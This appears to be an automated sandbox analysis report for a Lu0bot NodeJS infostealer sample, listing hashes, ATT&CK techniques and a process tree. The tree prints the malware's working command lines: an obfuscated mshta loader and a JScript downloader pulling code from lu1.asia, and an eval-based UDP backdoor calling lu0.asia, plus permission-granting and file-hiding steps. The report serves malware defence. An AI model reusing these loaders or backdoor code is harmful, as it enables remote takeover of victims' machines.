lu0bot | 4c99457625e752a03693aab64e2b5129eff89872c649194e81bd87809ed1ae13

Resubmissions

08-07-2021 17:16

210708-gb6jgck9tn 10

30-06-2021 09:49

210630-xqqb1qk7ax 10

Analysis

max time kernel
149s
max time network
147s
platform
windows10_x64
resource
win10v20210410
submitted
30-06-2021 09:49

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General

Target

usfive_20210630-104612.exe
Size

3KB
MD5

79fa77b796300ef5bafb6bcee46fc30f
SHA1

e6ba2132d8058c0532492da00aaec117fff56df4
SHA256

4c99457625e752a03693aab64e2b5129eff89872c649194e81bd87809ed1ae13
SHA512

0ae044695cffc50eb1c112ee85e37d0e0c9779c4f6bbbbabb6cd85771ac408414dfd3f804f8175fb56a6d995b259f830cbd6f2380cecb08975955e63f0204faf

Score

10^/10

lu0bot discovery stealer trojan

Malware Config

Signatures

Lu0bot
Lu0bot is a lightweight infostealer written in NodeJS.
trojan stealer lu0bot

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	1000	mshta.exe
8	2396	cscript.exe

Executes dropped EXE 1 IoCs

pid	Process
2100	node.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2448	icacls.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\DPX\setupact.log	expand.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	expand.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
3372	tasklist.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command-Line Interface

T1059

pid	Process
3588	ipconfig.exe
3852	netstat.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3884	systeminfo.exe

NTFS ADS 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\63b222a2321144ba:ads	node.exe
File created	C:\ProgramData\DNTException\node.exe:66eecc380fd989041a28ff631979638e	node.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	7	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	8	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2100	node.exe
2100	node.exe
2100	node.exe
2100	node.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	3372	tasklist.exe
Token: SeIncreaseQuotaPrivilege	2152	wmic.exe
Token: SeSecurityPrivilege	2152	wmic.exe
Token: SeTakeOwnershipPrivilege	2152	wmic.exe
Token: SeLoadDriverPrivilege	2152	wmic.exe
Token: SeSystemProfilePrivilege	2152	wmic.exe
Token: SeSystemtimePrivilege	2152	wmic.exe
Token: SeProfSingleProcessPrivilege	2152	wmic.exe
Token: SeIncBasePriorityPrivilege	2152	wmic.exe
Token: SeCreatePagefilePrivilege	2152	wmic.exe
Token: SeBackupPrivilege	2152	wmic.exe
Token: SeRestorePrivilege	2152	wmic.exe
Token: SeShutdownPrivilege	2152	wmic.exe
Token: SeDebugPrivilege	2152	wmic.exe
Token: SeSystemEnvironmentPrivilege	2152	wmic.exe
Token: SeRemoteShutdownPrivilege	2152	wmic.exe
Token: SeUndockPrivilege	2152	wmic.exe
Token: SeManageVolumePrivilege	2152	wmic.exe
Token: 33	2152	wmic.exe
Token: 34	2152	wmic.exe
Token: 35	2152	wmic.exe
Token: 36	2152	wmic.exe
Token: SeIncreaseQuotaPrivilege	2152	wmic.exe
Token: SeSecurityPrivilege	2152	wmic.exe
Token: SeTakeOwnershipPrivilege	2152	wmic.exe
Token: SeLoadDriverPrivilege	2152	wmic.exe
Token: SeSystemProfilePrivilege	2152	wmic.exe
Token: SeSystemtimePrivilege	2152	wmic.exe
Token: SeProfSingleProcessPrivilege	2152	wmic.exe
Token: SeIncBasePriorityPrivilege	2152	wmic.exe
Token: SeCreatePagefilePrivilege	2152	wmic.exe
Token: SeBackupPrivilege	2152	wmic.exe
Token: SeRestorePrivilege	2152	wmic.exe
Token: SeShutdownPrivilege	2152	wmic.exe
Token: SeDebugPrivilege	2152	wmic.exe
Token: SeSystemEnvironmentPrivilege	2152	wmic.exe
Token: SeRemoteShutdownPrivilege	2152	wmic.exe
Token: SeUndockPrivilege	2152	wmic.exe
Token: SeManageVolumePrivilege	2152	wmic.exe
Token: 33	2152	wmic.exe
Token: 34	2152	wmic.exe
Token: 35	2152	wmic.exe
Token: 36	2152	wmic.exe
Token: SeDebugPrivilege	3852	netstat.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 3908 wrote to memory of 1000	3908	usfive_20210630-104612.exe	73
PID 3908 wrote to memory of 1000	3908	usfive_20210630-104612.exe	73
PID 3908 wrote to memory of 1000	3908	usfive_20210630-104612.exe	73
PID 1000 wrote to memory of 3176	1000	mshta.exe	77
PID 1000 wrote to memory of 3176	1000	mshta.exe	77
PID 1000 wrote to memory of 3176	1000	mshta.exe	77
PID 3176 wrote to memory of 2396	3176	cmd.exe	79
PID 3176 wrote to memory of 2396	3176	cmd.exe	79
PID 3176 wrote to memory of 2396	3176	cmd.exe	79
PID 3176 wrote to memory of 3488	3176	cmd.exe	80
PID 3176 wrote to memory of 3488	3176	cmd.exe	80
PID 3176 wrote to memory of 3488	3176	cmd.exe	80
PID 3176 wrote to memory of 3588	3176	cmd.exe	81
PID 3176 wrote to memory of 3588	3176	cmd.exe	81
PID 3176 wrote to memory of 3588	3176	cmd.exe	81
PID 3588 wrote to memory of 2100	3588	cscript.exe	82
PID 3588 wrote to memory of 2100	3588	cscript.exe	82
PID 3588 wrote to memory of 2100	3588	cscript.exe	82
PID 2100 wrote to memory of 496	2100	node.exe	86
PID 2100 wrote to memory of 496	2100	node.exe	86
PID 2100 wrote to memory of 496	2100	node.exe	86
PID 2100 wrote to memory of 396	2100	node.exe	87
PID 2100 wrote to memory of 396	2100	node.exe	87
PID 2100 wrote to memory of 396	2100	node.exe	87
PID 2100 wrote to memory of 2448	2100	node.exe	88
PID 2100 wrote to memory of 2448	2100	node.exe	88
PID 2100 wrote to memory of 2448	2100	node.exe	88
PID 2100 wrote to memory of 4076	2100	node.exe	89
PID 2100 wrote to memory of 4076	2100	node.exe	89
PID 2100 wrote to memory of 4076	2100	node.exe	89
PID 2100 wrote to memory of 3680	2100	node.exe	90
PID 2100 wrote to memory of 3680	2100	node.exe	90
PID 2100 wrote to memory of 3680	2100	node.exe	90
PID 2100 wrote to memory of 3372	2100	node.exe	92
PID 2100 wrote to memory of 3372	2100	node.exe	92
PID 2100 wrote to memory of 3372	2100	node.exe	92
PID 2100 wrote to memory of 2152	2100	node.exe	93
PID 2100 wrote to memory of 2152	2100	node.exe	93
PID 2100 wrote to memory of 2152	2100	node.exe	93
PID 2100 wrote to memory of 3588	2100	node.exe	94
PID 2100 wrote to memory of 3588	2100	node.exe	94
PID 2100 wrote to memory of 3588	2100	node.exe	94
PID 2100 wrote to memory of 2352	2100	node.exe	95
PID 2100 wrote to memory of 2352	2100	node.exe	95
PID 2100 wrote to memory of 2352	2100	node.exe	95
PID 2100 wrote to memory of 3852	2100	node.exe	96
PID 2100 wrote to memory of 3852	2100	node.exe	96
PID 2100 wrote to memory of 3852	2100	node.exe	96
PID 2100 wrote to memory of 3884	2100	node.exe	97
PID 2100 wrote to memory of 3884	2100	node.exe	97
PID 2100 wrote to memory of 3884	2100	node.exe	97

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
3680	attrib.exe
4076	attrib.exe

C:\Users\Admin\AppData\Local\Temp\usfive_20210630-104612.exe
"C:\Users\Admin\AppData\Local\Temp\usfive_20210630-104612.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3908
- C:\Windows\SysWOW64\mshta.exe
  mshta "javascript:document.write();35;y=unescape('%321%32%7E%68t%74p%3A%2F%2Fl%751%2Ea%73i%61%2F%68r%69%2F%3F2%31a%36e%34b%7E2%322').split('~');73;try{x='WinHttp';187;x=new ActiveXObject(x+'.'+x+'Request.5.1');250;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);84;x.send();170;y='ipt.S';202;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);34;}catch(e){};67;;window.close();"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:1000
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1625046614211.txt & cscript /nologo /e:jscript get1625046614211.txt "http%3A%2F%2Flu1.asia%2Fhri%2F%3F25ead2355%26b%3Dbd5ffe69" node.cab & expand node.cab node.exe & del get1625046614211.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1625046614211.txt & cscript /nologo /e:jscript get1625046614211.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%275ead2355%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27lu0.asia%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1625046614211.txt
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3176
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1625046614211.txt "http%3A%2F%2Flu1.asia%2Fhri%2F%3F25ead2355%26b%3Dbd5ffe69" node.cab
      4⤵
      Blocklisted process makes network request
      PID:2396
  - - C:\Windows\SysWOW64\expand.exe
      expand node.cab node.exe
      4⤵
      Drops file in Windows directory
      PID:3488
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1625046614211.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%275ead2355%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27lu0.asia%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3588
    - - C:\ProgramData\DNTException\node.exe
        
        "C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%275ead2355%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27lu0.asia%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        NTFS ADS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2100
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c dir C:\
        6⤵
        
        PID:496
      - C:\Windows\SysWOW64\cacls.exe
        
        cacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F
        6⤵
        
        PID:396
      - C:\Windows\SysWOW64\icacls.exe
        
        icacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)
        6⤵
        Modifies file permissions
        
        PID:2448
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException
        6⤵
        Views/modifies file attributes
        
        PID:4076
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException\node.exe
        6⤵
        Views/modifies file attributes
        
        PID:3680
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /fo csv /nh
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:3372
      - C:\Windows\SysWOW64\Wbem\wmic.exe
        
        wmic process get processid,parentprocessid,name,executablepath /format:csv
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2152
      - C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig.exe /all
        6⤵
        Gathers network information
        
        PID:3588
      - C:\Windows\SysWOW64\route.exe
        
        route.exe print
        6⤵
        
        PID:2352
      - C:\Windows\SysWOW64\netstat.exe
        
        netstat.exe -ano
        6⤵
        Gathers network information
        Suspicious use of AdjustPrivilegeToken
        
        PID:3852
      - C:\Windows\SysWOW64\systeminfo.exe
        
        systeminfo.exe /fo csv
        6⤵
        Gathers system information
        
        PID:3884

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Hidden Files and Directories

T1158

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2100-128-0x0000000036700000-0x0000000036701000-memory.dmp

Filesize
4KB

Download
memory/2100-125-0x000000001F800000-0x000000001F801000-memory.dmp

Filesize
4KB

Download
memory/2100-126-0x000000000FA00000-0x000000000FA01000-memory.dmp

Filesize
4KB

Download
memory/2100-127-0x000000000FD00000-0x000000000FD01000-memory.dmp

Filesize
4KB

Download
memory/2100-129-0x0000000006E00000-0x0000000006E01000-memory.dmp

Filesize
4KB

Download
memory/2100-130-0x000000002EF00000-0x000000002EF01000-memory.dmp

Filesize
4KB

Download